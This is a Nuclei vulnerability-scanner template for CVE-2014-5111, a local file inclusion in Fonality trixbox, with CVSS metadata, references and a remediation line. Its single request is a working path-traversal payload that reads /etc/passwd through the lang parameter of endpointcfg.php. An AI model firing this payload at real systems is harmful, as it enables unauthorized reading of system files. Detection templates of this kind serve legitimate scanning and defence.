id: CVE-2014-5111

info:
  name: Fonality trixbox - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Multiple local file inclusion vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Apply the latest patches and updates provided by the vendor to fix the local file inclusion vulnerability in Fonality trixbox.
  reference:
    - https://www.exploit-db.com/exploits/39351
    - https://nvd.nist.gov/vuln/detail/CVE-2014-5111
    - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2014-5111
    cwe-id: CWE-22
    epss-score: 0.67722
    epss-percentile: 0.98599
    cpe: cpe:2.3:a:netfortris:trixbox:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netfortris
    product: trixbox
  tags: cve2014,cve,packetstorm,lfi,trixbox,edb,netfortris,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022077c344ffe02071cd4c940fe218125aa21ebc73926278a38ac1b938a5fe32c941022100b052167f6a3114e21552ba63d87e7ff13b3705e41f95c85464a3e62765377b87:922c64590222798bb761d5b6d8e72950